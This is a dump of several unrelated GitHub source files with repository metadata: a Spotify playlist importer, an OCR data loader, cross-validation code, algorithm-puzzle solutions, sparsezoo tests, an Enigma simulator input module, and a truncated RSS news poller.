Create playlist based on user function variables\n playlist_id = spotify.create_playlist(PLAYLIST_NAME)\n\n # Clean the playlist itself from duplicates\n def clean_duplicates(data):\n result = list()\n for item in data:\n if item in result:\n logger.write(log_type=\"warning\", data=(f\"Duplicate URI's found in exported list, usually meaning duplicated songs, ID: {item}\"))\n else:\n result.append(item)\n return result\n data = clean_duplicates(data)\n\n # Get URI's from result data list\n uri = list()\n progress_bar = tqdm(total=len(data), desc=\"Searching for your songs: \")\n for item in data:\n uri.append(spotify.search_track(item[1], item[0]))\n progress_bar.update(1)\n progress_bar.close()\n\n # Trigger warning if duplicate URI's detected\n if len(set(uri)) < len(uri):\n logger.write(log_type=\"warning\", data=(\"Duplicate URI's found in exported list, usually meaning duplicated songs.\"))\n fixed_uri = list()\n\n # Clean the list from NoneTypes\n for item in uri:\n if item is not None:\n fixed_uri.append(item)\n else:\n logger.write(log_type=\"warning\", data=(f\"NoneTypes was found, usually meaning unidentified songs, ID: {item}\"))\n\n # Push clean data to made playlist\n if not KEEP_ORDER: spotify.sp.playlist_add_items(playlist_id, fixed_uri)\n else: \n for item in fixed_uri:\n spotify.sp.playlist_add_items(playlist_id, [item])\n\nif __name__ == \"__main__\":\n global logger\n logger = Logger(os.path.basename(__file__))\n result = read()\n write(result)\n push_to_spotify(result, CONFIG_FILE=r\"D:\\Dokumenty\\Klíče\\yt2spotify_config.json\")\n\n","repo_name":"matyasmatta/yt2spotify","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27031704384","text":"import os\r\n\r\nfrom PIL import Image\r\nfrom tensorfn.data import LMDBReader\r\n\r\nfrom units.structures import OCRInstances, Sample\r\n\r\n\r\nclass LMDBSource:\r\n task_key = \"ocr\"\r\n\r\n def __init__(self, root, annotation):\r\n \"\"\"\r\n Args:\r\n root (str): Root path indicates the directory contains image and lmdb\r\n annotation (str): Path to the annotation lmdb relative to root\r\n \"\"\"\r\n self.root = root\r\n self.annots = LMDBReader(os.path.join(root, annotation), reader=\"pickle\")\r\n self.key = os.path.splitext(annotation)[0]\r\n\r\n def __len__(self):\r\n return len(self.annots)\r\n\r\n def read_image(self, path):\r\n img = Image.open(os.path.join(self.root, path))\r\n if img.mode != \"RGB\":\r\n img = img.convert(\"RGB\")\r\n return img\r\n\r\n def __getitem__(self, index):\r\n \"\"\"\r\n Returns:\r\n img (Image): Raw pillow image of the record\r\n sample (Sample): Sample with ocr fields, which contains:\r\n coords (List[List[Tuple[float, float]]]):\r\n (x, y) coordinate of bounding polygon of each entries\r\n texts (List[str]): Text content of each entries\r\n\r\n !Important! text with length 0 ('') indicates don't care area!\r\n \"\"\"\r\n\r\n annot = self.annots[index]\r\n\r\n words = annot[\"words\"]\r\n dcs = annot[\"dcs\"]\r\n img_path = annot[\"filename\"]\r\n orig_size = annot[\"orig_size\"]\r\n\r\n img = self.read_image(img_path)\r\n\r\n coords = []\r\n texts = []\r\n\r\n for word in words:\r\n points = word[0]\r\n letters = word[1]\r\n\r\n coords.append(points)\r\n texts.append(letters)\r\n\r\n for dc in dcs:\r\n coords.append(dc)\r\n texts.append(\"\")\r\n\r\n return img, Sample(\r\n image_size=img.size[::-1],\r\n orig_size=orig_size[::-1],\r\n img_path=img_path,\r\n key=self.key,\r\n ocr=OCRInstances(\r\n coords,\r\n texts,\r\n ),\r\n )\r\n","repo_name":"clovaai/units","sub_path":"units/datasource.py","file_name":"datasource.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"78"} +{"seq_id":"4664943559","text":"from dataset import Dataset, CVSplit, BaseSplit\nfrom model_wrapper import CVModel, TrainablePredictorModel\nfrom plot import Painter\nimport utils\n\n\nEXTRA_INFO = utils.get_id_info()\n\n\n# TODO: Put testing in a different module to get actual cross-validation here.\n# Testing isn't a part of CV, CV is for training, model selection and parameter-tuning.\n# Testing should only be done once, after all those steps are completed.\n# The testing procedure here is bootstrapping (or maybe it's not, IDK).\nclass CV:\n\tdef __init__(self, model):\n\t\t\"\"\"\n\t\tInitializes a new cross-validation object\n\n\t\t:param CVModel model: Predictor wrapped for evaluation\n\t\t\"\"\"\n\n\t\tself.model = model\n\n\tdef __call__(self, train, test, *args, **kw):\n\t\tif isinstance(test, dict):\n\t\t\treturn self.cross_validate_grouped(train, test, *args, **kw)\n\t\telse:\n\t\t\treturn self.cross_validate(train, test, *args, **kw)\n\n\tdef cross_validate(self, train, test, k=10, base_split_n=4, plot=False, evaluation=None, save=None, **kw):\n\t\t\"\"\"\n\t\tCross validate model\n\n\t\t:param train: Dataset to train on. If None, only evaluation will be done.\n\t\t:type train: Dataset or CVSplit or None\n\t\t:param test: Dataset to test on\n\t\t:type test: Dataset or GPSplit\n\t\t:param int k: Number of folds\n\t\t:param int base_split_n: Number of view directions to put into gallery\n\t\t:param plot: Painter object to use or boolean value\n\t\t:type plot: Painter or bool or None\n\t\t:param evaluation: If specified, will use this as the pre-existing evaluation\n\t\t:type evaluation: Evaluation or None\n\t\t:param save: File to save distance matrix info to.\n\t\t If current fold number should be formatted in, this should include the string {fold}.\n\t\t:type save: str or None\n\t\t:param kw: Additional arguments to pass to :py:CVModel.evaluate\n\n\t\t:return: Final evaluation\n\t\t:rtype: Evaluation\n\t\t\"\"\"\n\n\t\t# If training dataset was specified, model has to be trainable\n\t\tif train and not isinstance(self.model, TrainablePredictorModel):\n\t\t\traise TypeError(\"If training, model must be a subclass of TrainablePredictorModel\")\n\n\t\t# Use default painter if unspecified\n\t\tnew_painter = plot is True\n\t\tif new_painter:\n\t\t\tplot = Painter(k=k)\n\t\t\tplot.add_figure('EER', xlabel=\"Threshold\", ylabel=\"FAR/FRR\")\n\t\t\tplot.add_figure('ROC Curve', xlabel=\"FAR\", ylabel=\"TAR\")\n\t\t\tplot.init()\n\n\t\t# Special case for k = 1\n\t\trun_once = False\n\t\tif k <= 1:\n\t\t\tk = 2\n\t\t\trun_once = True\n\n\t\t# If train is passed as a Dataset, split it into k folds\n\t\tif isinstance(train, Dataset):\n\t\t\ttrain = CVSplit(train, k)\n\n\t\t# If test is passed as a Dataset, split into base set and verification attempts\n\t\tif isinstance(test, Dataset):\n\t\t\ttest = BaseSplit(test, base_split_n)\n\n\t\tfor fold in range(k):\n\t\t\tprint(f\"Fold {fold+1}:\")\n\n\t\t\tif train:\n\t\t\t\ttrain_data = train[(x for x in range(len(train)) if x != fold)]\n\t\t\t\tval_data = train[fold]\n\t\t\t\tself.model.train(train_data, val_data)\n\n\t\t\ttest.new_split()\n\t\t\tevaluation = self.model.evaluate(\n\t\t\t\ttest.gallery, test.probe,\n\t\t\t\tevaluation=evaluation,\n\t\t\t\tplot=plot,\n\t\t\t\tsave=save.format(fold=fold+1) if '{fold}' in save else save,\n\t\t\t\t**kw\n\t\t\t)\n\n\t\t\tif train:\n\t\t\t\tself.model.reset()\n\n\t\t\tif plot:\n\t\t\t\tplot.next()\n\n\t\t\tif run_once:\n\t\t\t\tbreak\n\n\t\tif new_painter:\n\t\t\tplot.finalize()\n\n\t\treturn evaluation\n\n\tdef cross_validate_grouped(self, train, test, *args, save=None, **kw):\n\t\t\"\"\"\n\t\tCross validate a grouped dataset\n\n\t\t:param train: Dictionary of training groups. If None, no training will be done.\n\t\t:param test: Dictionary of testing groups. If train was specified, both should be of the same length.\n\t\t:param args: Additional args to pass to :py:cross_validate\n\t\t:param save: File to save distance matrix info to.\n\t\t If current group should be formatted in, this should include the string {group}.\n\t\t:type save: str or None\n\t\t:param bool intergroup_evaluation: Whether to use samples from different groups for impostor testing\n\t\t:param kw: Additional keyword args to pass to :py:cross_validate\n\n\t\t:return: Final evaluations\n\t\t\"\"\"\n\n\t\tinter_eval = kw.pop('intergroup_evaluation', False)\n\n\t\timpostors = {}\n\t\tif inter_eval:\n\t\t\timpostors = {\n\t\t\t\tlabel: sum((d for d in test.values() if d != dataset), Dataset(data=[]))\n\t\t\t\tfor label, dataset in test.items()\n\t\t\t}\n\n\t\tif not train:\n\t\t\ttrain = {}\n\n\t\tevaluation = {}\n\t\tfor label in test:\n\t\t\tprint(label)\n\t\t\tevaluation[label] = self.cross_validate(\n\t\t\t\ttrain.get(label),\n\t\t\t\ttest[label],\n\t\t\t\t*args,\n\t\t\t\tsave=save.format(group=utils.alphanum(label)) if '{group}' in save else save,\n\t\t\t\timpostors=impostors.get(label),\n\t\t\t\t**kw\n\t\t\t)\n\n\t\treturn evaluation\n","repo_name":"MatejVitek/EyeZ-v1","sub_path":"cross_validate.py","file_name":"cross_validate.py","file_ext":"py","file_size_in_byte":4528,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"3142589164","text":"\"\"\"\n캐릭터 A와 캐릭터 B가 정사각형 격자 위에 서있다.\n캐릭터는 상하좌우 방향으로 움직일 수 있다.\n한번 움직이면, 다시는 해당 위치로 이동이 불가능하다.\n\"\"\"\n\ndy = [-1, 1, 0, 0]\ndx = [0, 0, -1, 1]\nINF = 987654321\n\n\ndef solution(board: list[list[int]], aloc: list[int], bloc: list[int]):\n return solve(board, aloc[0], aloc[1], bloc[0], bloc[1])[1]\n\n\ndef in_range(board: list[list[int]], y: int, x: int):\n if y < 0 or y >= len(board) or x < 0 or x >= len(board[0]):\n return False\n return True\n\n\ndef is_finished(board: list[list[int]], y: int, x: int):\n for i in range(4):\n ny = y + dy[i]\n nx = x + dx[i]\n if in_range(board, ny, nx) and board[ny][nx]:\n return False\n return True\n\n\ndef solve(board, y1, x1, y2, x2):\n # can_win, turn\n if is_finished(board, y1, x1):\n return [False, 0]\n\n # 서로 두 위치가 같을 때 이번 턴에 움직이면 무조건 이기므로\n if y1 == y2 and x1 == x2:\n return [True, 1]\n\n min_turn = INF\n max_turn = 0\n can_win = False\n\n # dfs\n for i in range(4):\n ny = y1 + dy[i]\n nx = x1 + dx[i]\n if not in_range(board, ny, nx) or not board[ny][nx]:\n continue\n\n board[y1][x1] = 0\n result = solve(board, y2, x2, ny, nx) # 차례가 바뀌기 때문에 위치를 바꿔준다.\n board[y1][x1] = 1\n\n # 이 시점에서는 result[0]이 False여야만 현재 턴에서 내가 이길 수 있다.\n if not result[0]:\n can_win = True\n min_turn = min(min_turn, result[1])\n elif not can_win:\n max_turn = max(max_turn, result[1])\n\n turn = min_turn if can_win else max_turn\n\n return [can_win, turn + 1]\n\n\nboard = [[1, 1, 1], [1, 0, 1], [1, 1, 1]]\naloc = [1, 0]\nbloc = [1, 2]\n# board = [[1, 1, 1, 1, 1]]\n# aloc = [0, 0]\n# bloc = [0, 4]\nprint(solution(board, aloc, bloc))\n","repo_name":"mrbartrns/algorithm-and-structure","sub_path":"programmers/test/week1/n4.py","file_name":"n4.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18632983759","text":"from typing import List\n\nclass UnionFind:\n def __init__(self, n):\n self.root = [i for i in range(n)]\n self.rank = [1] * n\n \n def find(self, x):\n if x == self.root[x]:\n return x\n self.root[x] = self.find(self.root[x])\n return self.root[x]\n\n def union(self, x, y):\n rootX = self.find(x)\n rootY = self.find(y)\n if rootX != rootY:\n if self.rank[rootX] > self.rank[rootY]:\n self.root[rootY] = rootX\n elif self.rank[rootX] < self.rank[rootY]:\n self.root[rootX] = rootY\n else:\n self.root[rootX] = rootY\n self.rank[rootY] += 1\n\nclass Solution:\n def smallestStringWithSwaps(self, s: str, pairs: List[List[int]]) -> str:\n ufind = UnionFind(len(s))\n for p in pairs:\n ufind.union(p[0], p[1])\n m = {}\n for i in range(len(s)):\n r = ufind.find(i)\n if r not in m:\n m[r] = [[i],[s[i]]]\n else:\n m[r][0].append(i)\n m[r][1].append(s[i])\n\n ret = [c for c in s]\n for k, v in m.items():\n v[0].sort()\n v[1].sort()\n for i in range(len(v[0])):\n ret[v[0][i]] = v[1][i]\n str = ''.join(ret)\n return str\n\nif __name__ == \"__main__\":\n sol = Solution()\n\n s = \"dcab\"\n pairs = [[0,3],[1,2]]\n print(sol.smallestStringWithSwaps(s, pairs))\n\n s = \"dcab\"\n pairs = [[0,3],[1,2],[0,2]]\n print(sol.smallestStringWithSwaps(s, pairs))\n\n s = \"cba\"\n pairs = [[0,1],[1,2]]\n print(sol.smallestStringWithSwaps(s, pairs))\n","repo_name":"ivan0703/leetcode","sub_path":"1202. Smallest String With Swaps/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37730913202","text":"from typing import List\nfrom unittest.mock import patch\n\nimport pytest\n\nfrom sparsezoo import Model\nfrom sparsezoo.deployment_package.utils.utils import (\n compute_heuristics,\n extract_metrics,\n extract_ranges,\n filter_candidates,\n first_quantized_model,\n get_best_model_with_metrics,\n infer_domain_and_subdomain,\n recommend_stub,\n validate_optimizing_metrics,\n)\n\n\n# fixtures\n@pytest.fixture(scope=\"session\")\ndef quantized_model() -> Model:\n \"\"\"\n An auto-delete fixture for returning a quantized stub\n \"\"\"\n yield Model(\n \"zoo:cv/classification/resnet_v1-50/pytorch/sparseml/\"\n \"imagenet/pruned95_quant-none\"\n )\n\n\n@pytest.fixture(scope=\"session\")\ndef vnni_model() -> Model:\n \"\"\"\n An auto-delete fixture for returning a quantized stub\n \"\"\"\n yield Model(\n \"zoo:cv/classification/resnet_v1-50/pytorch/sparseml/\"\n \"imagenet/pruned85_quant-none-vnni\"\n )\n\n\n@pytest.fixture(scope=\"session\")\ndef non_quantized_models() -> List[Model]:\n \"\"\"\n An auto-delete fixture for returning a non-quantized stub\n \"\"\"\n\n yield [\n Model(\n \"zoo:cv/classification/mobilenet_v1-1.0/pytorch/sparseml/\"\n \"imagenette/base-none\"\n ),\n Model(\n \"zoo:cv/classification/mobilenet_v1-1.0/pytorch/sparseml/\"\n \"imagenet/pruned-moderate\"\n ),\n ]\n\n\n@pytest.fixture(scope=\"session\")\ndef candidates(quantized_model, non_quantized_models, vnni_model) -> List[Model]:\n \"\"\"\n An auto-delete fixture for returning a list of sparsezoo.Model objects\n from stubs\n \"\"\"\n models = [quantized_model, vnni_model]\n models.extend(non_quantized_models)\n yield models\n\n\n# tests\n\n\n@pytest.mark.parametrize(\"optimizing_metrics\", [[\"compression\", \"accuracy\", \"latency\"]])\ndef test_filter_candidates(\n candidates: List[Model],\n optimizing_metrics: List[str],\n):\n filtered_candidates = filter_candidates(candidates, optimizing_metrics)\n assert len(filtered_candidates) <= len(candidates)\n assert all(isinstance(candidate, Model) for candidate in filtered_candidates)\n\n\n@pytest.mark.parametrize(\n \"optimizing_metrics, expected\",\n [\n ([\"A\", \"B\", \"C\"], ValueError()),\n (\n [\"compression\", \"accuracy\", \"latency\"],\n [\"compression\", \"accuracy\", \"latency\"],\n ),\n (\n [\"COMPRESSION\", \"ACCURACY\", \"LATENCY\"],\n [\"compression\", \"accuracy\", \"latency\"],\n ),\n ],\n)\ndef test_validate_optimizing_metrics(optimizing_metrics, expected):\n if isinstance(expected, ValueError):\n with pytest.raises(ValueError, match=\"not find a relevant extractor\"):\n validate_optimizing_metrics(optimizing_metrics=optimizing_metrics)\n else:\n actual = validate_optimizing_metrics(optimizing_metrics=optimizing_metrics)\n assert actual == expected\n\n\ndef test_first_quantized_model(candidates, quantized_model, non_quantized_models):\n test_cases = [\n (candidates, quantized_model),\n (non_quantized_models, non_quantized_models[0]),\n ([], None),\n ]\n for param, expected in test_cases:\n actual = first_quantized_model(candidates=param)\n assert actual == expected\n\n\n@pytest.mark.parametrize(\n \"optimizing_metrics\",\n [\n [\"accuracy\", \"compression\"],\n [\"accuracy\", \"compression\", \"file_size\"],\n [\"accuracy\", \"compression\", \"file_size\", \"throughput\"],\n ],\n)\ndef test_extract_metrics(candidates, optimizing_metrics):\n extracted_metrics = extract_metrics(\n candidates=candidates, optimizing_metrics=optimizing_metrics\n )\n assert len(extracted_metrics) == len(candidates)\n for candidate_metrics in extracted_metrics:\n assert all(\n metric_name in candidate_metrics for metric_name in optimizing_metrics\n )\n\n\n@pytest.mark.parametrize(\n \"extracted_metrics, expected\",\n [\n (\n [{\"accuracy\": 1, \"compression\": 2}, {\"accuracy\": 0, \"compression\": 0}],\n {\"accuracy\": (0, 1), \"compression\": (0, 2)},\n ),\n ([{\"a\": 1, \"b\": 2}, {\"a\": 1, \"b\": 2}], {\"a\": (1, 1), \"b\": (2, 2)}),\n ],\n)\ndef test_extract_ranges(extracted_metrics, expected):\n actual_ranges = extract_ranges(extracted_metrics)\n assert actual_ranges == expected\n\n\n@pytest.mark.parametrize(\n \"metrics, ranges, expected\",\n [\n (\n {\"accuracy\": 1, \"throughput\": 2},\n {\"accuracy\": (0, 1), \"throughput\": (0, 2)},\n 2,\n ),\n (\n {\"accuracy\": 1, \"throughput\": 2},\n {\"accuracy\": (1, 1), \"throughput\": (2, 2)},\n 0,\n ),\n ],\n)\ndef test_compute_heuristics(metrics, ranges, expected):\n actual = compute_heuristics(metrics, ranges)\n assert actual == expected\n\n\n@pytest.mark.parametrize(\n \"metrics, expected\",\n [\n (\n [\"accuracy\", \"compression\"],\n \"zoo:cv/classification/resnet_v1-50/pytorch/sparseml/\"\n \"imagenet/pruned95_quant-none\",\n )\n ],\n)\ndef test_get_best_model_with_metrics(candidates, metrics, expected):\n model, _ = get_best_model_with_metrics(\n candidates=candidates,\n optimizing_metrics=metrics,\n )\n actual = model.source\n assert actual == expected\n\n\n@pytest.mark.parametrize(\n \"dataset, task, expected\",\n [\n (None, \"ic\", (\"cv\", \"classification\")),\n (\"imagenette\", \"ic\", (\"cv\", \"classification\")),\n (\"blah\", \"ic\", (\"cv\", \"classification\")),\n (\"imagenet\", \"blah\", (\"cv\", \"classification\")),\n (\"coco\", \"object_detection\", (\"cv\", \"detection\")),\n ],\n)\ndef test_infer_dataset_domain_subdomain(dataset, task, expected):\n assert infer_domain_and_subdomain(dataset=dataset, task=task) == expected\n\n\n@pytest.mark.parametrize(\n \"dataset, task\",\n [\n (\"mnli\", \"classification\"),\n (\"coco\", \"text_classification\"),\n (\"blah\", \"blah\"),\n ],\n)\ndef test_infer_dataset_domain_subdomain_raises_value_error(dataset, task):\n with pytest.raises(ValueError):\n infer_domain_and_subdomain(dataset=dataset, task=task)\n\n\n@patch(\"sparsezoo.deployment_package_module.utils.utils.get_best_model_with_metrics\")\n@patch(\"sparsezoo.deployment_package_module.utils.utils.search_models\")\n@pytest.mark.parametrize(\n \"vnni\",\n [\n Model(\n \"zoo:cv/classification/resnet_v1-50/pytorch/sparseml/imagenet\"\n \"/channel20_pruned75_quant-none-vnni\"\n )\n ],\n)\ndef test_recommend_model(search_models_func, get_best_model_function, vnni, candidates):\n get_best_model_function.return_value = vnni, {}\n search_models_func.return_value = candidates\n\n assert recommend_stub(task=\"ic\", optimizing_metrics=[\"accuracy\"])[0] == vnni.source\n assert recommend_stub(task=\"ic\")[0] == vnni.source\n assert recommend_stub(dataset=\"imagenet\")[0] == vnni.source\n assert recommend_stub(dataset=\"imagenet\", scenario=\"vnni\")[0] == vnni.source\n assert recommend_stub(task=\"qa\", dataset=\"squad\", scenario=None)[0] == vnni.source\n assert recommend_stub(task=\"qa\", dataset=\"squad\", scenario=\"vnni\")[0] == vnni.source\n\n\n@patch(\"sparsezoo.deployment_package_module.utils.utils.search_models\")\ndef test_value_error_with_recommend_stub(search_models_func, quantized_model):\n # search results empty\n search_models_func.return_value = []\n with pytest.raises(ValueError, match=\"not find any relevant\"):\n recommend_stub(task=\"ic\")\n\n # deployment scenario not found\n search_models_func.return_value = [quantized_model]\n with pytest.raises(ValueError, match=\"not find any relevant\"):\n recommend_stub(task=\"ic\", scenario=\"vnni\")\n\n # at-least dataset or task must be specified\n with pytest.raises(ValueError, match=\"Could not find any info\"):\n recommend_stub(scenario=\"vnni\")\n\n # at-least dataset or task must be specified\n with pytest.raises(ValueError, match=\"Could not find any info\"):\n recommend_stub()\n","repo_name":"neuralmagic/sparsezoo","sub_path":"tests/sparsezoo/deployment_package/utils/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":7949,"program_lang":"python","lang":"en","doc_type":"code","stars":330,"dataset":"github-code","pt":"78"} +{"seq_id":"42519626860","text":"######################################################################\r\n# Authors: Mathew Ellison and Frank Stomp #\r\n# This module allows the user to select three distinct rotors, #\r\n# initial turns, reflector, and option of encryption or decryption. # \r\n# #\r\n######################################################################\r\n\r\nimport rotors\r\nimport reflector\r\n\r\nclass Inputs:\r\n \"\"\"\r\n class created to allow the user to choose the rotors, rotor settings, and the reflector\r\n \"\"\"\r\n \r\n def rotorInputs(count, rotorList):\r\n \"\"\"Method used to determine which rotors to use.\r\n The user provides the rotors from right to left.\r\n \"\"\"\r\n\r\n i = count\r\n while count == i:\r\n if count == 0:\r\n rotorPosition = \"right\"\r\n elif count == 1:\r\n rotorPosition = \"middle\"\r\n else:\r\n rotorPosition = \"left\"\r\n \r\n rotor = input(\"Provide the \" + rotorPosition + \" rotor (1 through 5): \")\r\n \r\n if rotor in rotorList: #(A rotor can be chosen only once.)\r\n print(\"Rotor must be different from one another. Select another rotor.\")\r\n elif not(len(rotor) == 1 and ord(\"1\") <= ord(rotor) <= ord(\"5\")):\r\n print(\"Only rotors 1 - 5 are admissible\")\r\n else:\r\n count += 1\r\n rotorList.insert(0, rotor)\r\n return count\r\n \r\n def rotorSettings(count, rotorPositions):\r\n \"\"\" position of what character each rotor is set to is assigned here by the character.\r\n \"\"\"\r\n\r\n i = count\r\n if count == 0:\r\n rotorPosition = \"right\"\r\n elif count == 1:\r\n rotorPosition = \"middle\"\r\n else:\r\n rotorPosition = \"left\"\r\n \r\n while count == i:\r\n ch = input(\"Give me the initial position of the \" + rotorPosition + \" rotor (A through Z): \")\r\n if not (len(ch) == 1 and ch.isupper()):\r\n print(\"Only 'A' through 'Z' are admissible. (Capital letters only.)\")\r\n else:\r\n rotorPositions.insert(0, ch)\r\n count += 1\r\n return count\r\n\r\n def reflectorInput():\r\n \"\"\" the refector is selected by the user.\r\n \"\"\"\r\n\r\n ch = input(\"Provide a reflector (A , B, or C): \")\r\n while not (len(ch) == 1 and ord(\"A\") <= ord(ch) <= ord(\"C\")):\r\n print(\"Only A, B, or C are admissible\")\r\n ch = input(\"Give me a reflector (A , B, or C): \")\r\n return ch\r\n","repo_name":"MattEllis101/Enigma","sub_path":"inputs.py","file_name":"inputs.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20379522752","text":"#\n# newsfeed.py - fetch news feed via Atom/RSS\n#\n# John Nagle\n# February, 2009\n#\n# Polls multiple RSS feeds, returns new items.\n#\n# Usage: create a Newsfeeds object, and provide it with a list\n# of RSS URLs. Run via \"start\" in feedmanager. Get items\n# using queue in feedmanager.\n#\n# The data returned is pure text, not HTML. This is intended for\n# applications where the output is a printing device displaying\n# news updates. \n#\n# License: LGPL\n#\nimport sys\n# Add additional paths for our files\nsys.path.append(\"./feedparser\") # in subdir\nimport re\nimport msgutils\nimport feedparser\nimport time\nimport feedmanager\nfrom six.moves import queue # Python 2/3 support\nimport email # for date parsing\nimport email.utils\nimport calendar # for date parsing\nimport datetime\nimport hashlib\n#\n# Constants\n#\nKPOLLINTERVAL = 90.0 # poll this often\nNEWSMAXAGEDAYS = 30 # last 30 days of news only\n#\n# Support functions\n#\n# Patch feedparser to support time zone information in RFC2822 time stamps.\n#\ndef RFC2822dateparser(aDateString):\n \"\"\"parse a RFC2822 date, including time zone: 'Sun, 28 Feb 2010 11:57:48 -0500'\"\"\"\n dateinfo = email.utils.parsedate_tz(aDateString) # parse date\n if dateinfo is None : # if none, fail\n return(None) # next parser gets a chance\n utcstamp = email.utils.mktime_tz(dateinfo) # convert to timestamp format\n utcdate = time.gmtime(utcstamp) # convert back to time tuple, but now in UT\n ####print(\"RFC2822dateparser: in: %s dateinfo: %s out: %s\" % (repr(aDateString), repr(dateinfo), repr(utcdate))) ## ***TEMP***\n return(utcdate) # feedparser wants UT time\n\nfeedparser.registerDateHandler(RFC2822dateparser) # register above conversion with feedparser\n#\nkremovenonalpha = re.compile(r'\\W')\n#\ndef textsubset(s1, s2) :\n \"\"\"\n True if s1 is a subset of s2, considering alphanumeric chars only\n \"\"\"\n return(kremovenonalpha.sub(\"\",s2).startswith(kremovenonalpha.sub(\"\",s1)))\n \n#\n# class Newsfeed -- one news feed\n#\nclass Newsfeed(feedmanager.Feed) : \n\n # FeedParser's list of acceptable HTML elements.\n standard_acceptable_elements = ['a', 'abbr', 'acronym', 'address', 'area', 'b', 'big',\n 'blockquote', 'br', 'button', 'caption', 'center', 'cite', 'code', 'col',\n 'colgroup', 'dd', 'del', 'dfn', 'dir', 'div', 'dl', 'dt', 'em', 'fieldset',\n 'font', 'form', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'hr', 'i', 'img', 'input',\n 'ins', 'kbd', 'label', 'legend', 'li', 'map', 'menu', 'ol', 'optgroup',\n 'option', 'p', 'pre', 'q', 's', 'samp', 'select', 'small', 'span', 'strike',\n 'strong', 'sub', 'sup', 'table', 'tbody', 'td', 'textarea', 'tfoot', 'th',\n 'thead', 'tr', 'tt', 'u', 'ul', 'var']\n\n # Our list. We drop almost all markup, then truncate at the first remaining tag.\n acceptable_elements = ['a','p','br'] # severely censor HTML markup\n #\n kescaperemovals = [\n (re.compile(r'—'),'-'), # convert HTML escape for mdash\n (re.compile(r'&'),'&'), # convert HTML escape for ampersand\n (re.compile(r'&\\w+;'),'?'), # any other special chars become question mark\n (re.compile(r'&\\#\\w+;'),'?'), # get numeric escapes, too.\n (re.compile(r'<[^>]*>'),' '), # remove any remaining markup\n (re.compile(r'[\\t\\r ]+'),' '), # all whitespace becomes a single space\n (re.compile(r'\\n[ ]+'),'\\n'), # remove whitespace at end of line\n (re.compile(r'\\n\\n\\n+'),'\\n\\n')] # never more than two newlines\n \n khtmrewrites = [ # rewrite rules for cleaning up news items\n (re.compile(r''),'\\n\\n'), # convert breaks to newlines.\n (re.compile(r'

'),' '), # remove closing paragraph tag\n (re.compile(r'
'),'\\n\\n'), # convert breaks to newlines.\n (re.compile(r'
'),'\\n\\n'), # convert breaks to newlines.\n (re.compile(r'<[^>]*>'),' ')] # remove any remaining markup\n \n kdescriptionrewrites = khtmrewrites + kescaperemovals\n\n #\n # Called from outside the thread\n #\n def __init__(self, url, logger) :\n feedmanager.Feed.__init__(self, \"NEWS\", logger)\n self.setfeedurl(url) # set feed URL\n self.expirationsecs = 60*60*24*2 # expire after not seen for 2 days\n self.maxage = 60*60*24*NEWSMAXAGEDAYS # don't show items older than this\n ####print(feedparser._HTMLSanitizer.acceptable_elements) # ***TEMP***\n feedparser._HTMLSanitizer.acceptable_elements = self.acceptable_elements\n ####print(feedparser._HTMLSanitizer.acceptable_elements) # ***TEMP***\n ####self.expirationsecs = 60 # ***TEMP DEBUG***\n\n def setfeedurl(self, url) : # set new feed URL\n self.url = url # save URL\n self.hdrtitle = None # no header title yet\n ####self.hdrdate = None # no header date yet\n self.etag = None # no feed sequence id yet\n self.modified = None # no last-modified timestamp yet\n self.itemqueued = {} # item has been queued for printing\n self.markingallasread = True # marking all stories as read.\n\n def markallasread(self) : # mark all stories as read\n try: \n while True : # drain\n self.inqueue.get_nowait() # get input, if any\n except queue.Empty: # when empty\n pass # done\n self.logger.info(\"News feed queue emptied.\")\n self.markingallasread = True # mark all as read for one cycle \n\n def unmarkallasread(self) : # clear items already read\n try: \n while True : # drain\n self.inqueue.get_nowait() # get input, if any\n except queue.Empty: # when empty\n pass # done\n self.logger.info(\"News feed queue restarted.\") # restarting from beginning\n self.markingallasread = False # do not mark all as read\n self.itemqueued = {} # no item has been queued for printing\n self.modified = None # no last-modified date\n self.etag = None # no previous RSS read\n self.forcepoll() # force an immediate poll\n\n def gettitle(self) : # get feed title \n if self.hdrtitle :\n return(self.hdrtitle)\n else:\n return(self.url) # use URL if unable to read\n\n def getpollinterval(self) : # how often to poll\n return(KPOLLINTERVAL)\n\n def itemdone(self, item) : # done with this item - item printed\n pass # we don't keep persistent state of news printed\n\n def formattext(self, msgitem) : # format a msg item, long form\n emsg = msgitem.errmsg\n date_string = \"%s, %s\" % (msgitem.msgdate, msgitem.msgtime) # formatted time\n # Format for printing as display message\n if emsg : # short format for errors\n s = \"%s: %s\\n\" % (date_string, emsg)\n return(s) # return with error msg\n # Long form display\n s = msgitem.subject + '\\n(' + date_string + ')\\n' + msgitem.body + '\\n\\n' # Add CR at end\n return(s) # no error\n\n def summarytext(self, msgitem) :\n emsg = msgitem.errmsg\n # Format for printing as short message\n if emsg : # short format for errors\n s = \"%s: %s\\n\" % (msgitem.msgtime, emsg)\n return(s) # return with error msg\n date_string = \"%s, %s\" % (msgitem.msgdate, msgitem.msgtime) # formatted time\n fmt = \"FROM %s TIME %s: %s\"\n s = fmt % (msgitem.msgfrom, date_string, msgitem.body[:40])\n return(s) # no error\n \n #\n # Called from within the thread\n # \n def fetchitems(self) : \n \"\"\"\n Fetch more items from feed source.\n \"\"\"\n try : # try fetching\n now = time.time() # timestamp\n d = feedparser.parse(self.url,etag=self.etag,modified=self.modified) # fetch from URL\n if d is None or not hasattr(d,\"status\") : # if network failure\n raise IOError(\"of network or news source failure\")\n if d.status == 304 : # if no new items\n self.logger.debug(\"Feed polled, no changes.\")\n return # nothing to do\n self.logger.debug(\"Read feed: %d entries, status %s\" % (len(d.entries), d.status))\n if d.status != 200 : # if bad status\n raise IOError(\"of connection error No. 